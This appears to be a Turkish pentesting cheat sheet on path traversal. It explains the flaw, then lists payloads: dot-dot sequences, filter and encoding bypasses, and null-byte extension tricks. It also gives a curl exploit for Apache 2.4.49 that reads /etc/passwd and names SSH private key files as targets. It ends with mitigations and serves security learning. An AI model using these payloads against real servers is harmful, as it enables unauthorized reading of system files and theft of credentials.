Directory Traversal

Path Traversal Nedir?

  • Path traversal veya directory traversal bir saldırganın uygulamayı çalıştıran sunucudaki herhangi bir dosyayı okumasını sağlar. Bu dosyalar şunları içerebilir:

    • Uygulama kodu ve verileri.

    • Arka uç sistemler için kimlik bilgileri.

    • Hassas işletim sistemi dosyaları.

  • Bazı durumlarda, bir saldırgan sunucudaki rastgele dosyalara yazarak uygulama verilerini veya davranışını değiştirebilir ve sonuçta sunucunun tam kontrolünü ele geçirebilir.

Yöntemler

Full Path

/etc/passwd
C:/windows/system32/drivers/etc/hosts

Dizin Değiştirerek

../../../../../etc/passwd
../../../../../windows/system32/drivers/etc/hosts

Korumayı Atlatma

....//....//....//etc/passwd
....//....//....//windows/system32/drivers/etc/hosts

URL Encoding

..%252f..%252f..%252fetc/passwd
..%252f..%252f..%252fwindows/system32/drivers/etc/hosts

Dizin Kontrolünü Atlatma

/var/www/images/../../../etc/passwd
C:/inetpub/wwwroot/images/../../../../../windows/system32/drivers/etc/hosts

Eklenti Korumasını atlatma

../../../etc/passwd%00.png
../../../../../windows/system32/drivers/etc/hosts%00.png

Apache HTTP Server 2.4.49

curl -s --path-as-is "http://192.168.199.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

/etc/passwd
/root/.ssh/id_rsa
/root/.ssh/id_ecdsa

Önlemler

  • Path traversal güvenlik açıklarını önlemenin en etkili yolu, kullanıcı tarafından sağlanan girdiyi dosya sistemi API'lerine aktarmaktan tamamen kaçınmaktır.

  • Kullanıcı tarafından sağlanan girdiyi dosya sistemi API'lerine aktarmaktan kaçınamıyorsanız, saldırıları önlemek için iki savunma katmanı kullanmanızı öneririz:

  • Kullanıcı girdisini izin verilen değerlerden oluşan bir beyaz liste ile karşılaştırın. Bu mümkün değilse, girdinin yalnızca alfanümerik karakterler gibi izin verilen içeriği içerdiğini doğrulayın.

  • Sağlanan girdiyi doğruladıktan sonra, girdiyi temel dizine ekleyin ve yolu canonicalize etmek için bir platform dosya sistemi API'si kullanın. Canonicalized yolun beklenen temel dizinle başladığını doğrulayın.

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/file-path-traversal

Last updated

Was this helpful?